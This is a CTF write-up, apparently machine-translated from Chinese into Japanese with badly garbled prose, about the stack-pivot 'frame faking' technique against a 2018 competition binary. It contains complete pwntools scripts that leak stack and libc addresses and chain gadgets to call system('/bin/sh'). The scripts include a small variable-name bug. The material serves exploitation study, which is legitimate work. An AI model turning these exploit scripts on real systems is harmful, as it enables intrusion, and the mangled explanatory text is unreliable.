フレーム偽造の空想スタックオーバーフロー技術

フレーム偽造

実行フロースタック偽フレーム制御プログラム構造

原則

2つの方法でスタックオーバーフローよりも何の話をする前に:

  • EIP制御プログラム
  • EBP制御プログラム

その実行の流れは、最終的にプログラムを制御します。EIPとEBPを制御しながら、フレーム偽造では、我々の識別された技術が利用され、我々は同時に、制御プログラムの実行フロー、また、プログラム・スタック・フレームの位置を変更します。

エントリポイントと関数の出口点

エントリー・ポイント

push ebp    #将ebp压栈
mov ebp, esp    #将esp的值赋给ebp

出口ポイント

leave
ret # pop eip 弹出栈顶元素作为程序的下一个执行地址

ここで残すように対応する命令

mov esp,ebp     #将ebp的值赋给esp
pop ebp     #弹出栈顶元素作为ebp的值

したがって、2つの命令の出口点は、機能に対応します

mov esp,ebp
pop ebp
pop eip

使用条件

  • オーバーフローは、長鎖ROPを構築するためにそれほど困難バイト
  • そこ書き込み可能なメモリである、と彼らは住所を知っています

ペイロードの設定

キーはEBPとEIPを制御しながら、この攻撃は、同じ時間はEBPとEIPの値を制御する方法をどのようにでしょうか?

  • 使用ROPgadgetは休暇を探す; RET命令アドレスが配置されています
  • 完了Buferを覆う後、休暇を使用して、EBPカバーのアドレス値を使用して制御することができ、ここで、カバーの値RET RET命令アドレス。

32ビットアプリケーションプログラム64共感を想定

  1. 以下に示すように、RET命令(ここでは非被覆RET命令実行)、関数戻り、通常脱退を実行したとき
  2. MOV ESP、EBPは、ESP値偽EBP制御我々のセットで同時に指しEBP、ESPケースとEBP EBPベースアドレス、すなわち、の値を割り当てます。
  3. POP EBP、ポップスタック、すなわちEBPベースアドレス、我々は偽の値をセットするには、ESP + 4アップリンク一方、EBPレジスタEBPに割り当てられています
  4. RET命令実行、RET命令は、EIPポップと等価であり、この時スタック使用休暇が私たちのために見つけるROPgadget;アドレスRET命令を。このアドレスは、割り当てEIPレジスタをポップアップ表示されます。ESP + 4上向き
  5. EIPレジスタ命令実行、休暇命令。
  6. MOV ESP、EBPは、ESPので、ESP制御のアドレスを指す、EBPの値、我々はEBPレジスタの値を設定して制御可能な偽のアドレス保存されたケースを割り当て
  7. EBPに割り当てられ、4ビットのアドレス対応は、制御可能に排出アドレスの内容に、EBPスタックポップに割り当てられ、4が上方ESP + 4、パディングに提供されてもよい。EBPをポップ
  8. 実行RETは、我々は一般的に、ESP機能のターゲットアドレスとしてアドレスのこの時点では、目的関数を実行することができます。

使用法を説明するために以下の実施例

2018年5月アーネムカップ大会ダウンロード

checksec + IDA

[*] '/mnt/hgfs/ubuntu_share/pwn/stack/over.over'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

  • 64ビットプログラム
  • のみ開かれたNX保護
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  while ( sub_400676() )
    ;
  return 0LL;
}
int sub_400676()
{
  char buf; // [rsp+0h] [rbp-50h]

  memset(&buf, 0, 0x50uLL);
  putchar('>');
  read(0, &buf, 0x60uLL);
  return puts(&buf);
}

IDAは、解析によって描画することができます。

  • 唯一のオーバーフローの0x10バイト、2つのだけのアドレスを覆われている16文字であり、これは、長鎖ROPを構築することができません
  • しかし、読み取り機能は、入力文字列\ 0の最後であきらめていません我々は0x50を文字を入力するときに、あなたは、RBPの値をプリントアウトすることができます。

リークRBPの値

  • この問題では、我々は、直接メモリアドレスのbuf sub_400676機能を制御することができます。
  • RBPだから我々は最初のアドレスBUFのカバレッジを必要な場所
  • メモリにおけるそれらの具体的な値は、我々が見ることはできませんが、それらの間のオフセットの関係が決定されます。
  • 私たちは、その後、RBP、動的なデバッグをリークし、特定のオフセットの関係を描くことができます

gdb over.over
b *0x4006B9
// 0x4006B9地址为sub_400676函数中call puts函数的地址,如上图所示
r
123123//输入内容
telescope $rsp 20   //查看从rsp开始的20个地址

  • 値が青色のボックスのうち、当社のリークRBP赤い長方形の値であり、0x00007fffffffdd50です
  • RSPはアドレスが0x00007fffffffdce0を指摘しながら、
  • 0x00007fffffffdce0 0x00007fffffffdd50両者のアドレスは、青色の楕円形のフレームが示され、オフセット0x70を異なります

休暇を探す; RETアドレス:

root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/stack# ROPgadget --binary over.over --only "leave|ret"
Gadgets information
============================================================
0x00000000004006be : leave ; ret
0x0000000000400509 : ret
0x00000000004007d0 : ret 0xfffe

Unique gadgets found: 3
  • 元RBP-0x70へのRBPセットので、RETは0x00000000004006beに設定されています
  • 我々はBUFコールプットの先頭にオーバーフローする必要はありません。同時にバージョンを確認するために機能します
  • puts関数を呼び出すときは、設定する必要があり、共通のガジェットを使用して、ここで登録しRDI:csu_initは、なじみのない読者として、このお読みください記事を

コードは以下の通りであります:

from pwn import *
context.log_level = "DEBUG"

sh = process("over.over")

payload = 'a' * 80

sh.recvuntil('>')

sh.send(payload)

rbp_addr =  u64(sh.recv()[80:-2] + '\x00\x00')

print hex(ebp_addr)

pop_rdi = 0x400793

puts_got = 0x601020 

puts_plt = 0x400530 

ret_addr = 0x400676

leave_ret = 0x4006be

payload = 'a'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ret_addr) + p64(1)*5 + p64(rbp_addr-0x70) + p64(leave_ret)

sh.send(payload)

sh.recvline()

real_addr = u64(sh.recvline()[:-1] + '\x00\x00')

print hex(real_addr)

この時点で、スタック構造

  • この時点で行わ残す; RET命令位置、RBPのRSP点
  • 2脱退した後、上記のような原理によれば、RET
  • RSPポイントポップRDI;ガジェットのRET

漏洩したプット住所に応じてlibcのバージョンを判断します

libcのデータベース:URL

最後のステップ:シェルを取得します。

コードは以下の通りであります:

from pwn import *
context.log_level = "DEBUG"

sh = process("over.over")

payload = 'a' * 80

sh.recvuntil('>')

sh.send(payload)

rbp_addr =  u64(sh.recv()[80:-2] + '\x00\x00')

print hex(ebp_addr)

pop_rdi = 0x400793

puts_got = 0x601020 

puts_plt = 0x400530 

ret_addr = 0x400676

leave_ret = 0x4006be

payload = 'a'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ret_addr) + p64(1)*5 + p64(rbp_addr-0x70) + p64(leave_ret)

sh.send(payload)

sh.recvline()

real_addr = u64(sh.recvline()[:-1] + '\x00\x00')

print hex(real_addr)

base_addr = real_addr - 0x06f690

system_addr = base_addr + 0x045390

binsh_addr = base_addr + 0x18cd57

payload = 'a'*8 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) + p64(ret_addr) + p64(1)*5 + p64(rbp_addr-0x70-0x30) + p64(leave_ret)

sh.send(payload)

sh.interactive()

なお、最終的なrbp_addr-0x70-0x30の起源:

  • 彼らがどのようにカットだけでなく、それは、0x70 0x30のを減らすことができます
  • 因为第一次泄露完puts的地址后,rsp是指向p64(1)*5的第一个1处
  • 返回地址为sub_400676的函数地址
  • 该函数的开头部分进行了压栈操作,压入了一个rbp,此时的栈结构是这样的:
  • 红字部分为6个8字节,48字节,换算为十六进制为0x30
  • 所以rbp的值需要再减去一个0x30才能到aaaaaaaa字符串的地址处
发布了285 篇原创文章 · 获赞 81 · 访问量 27万+

おすすめ

転載: blog.csdn.net/AcSuccess/article/details/104580019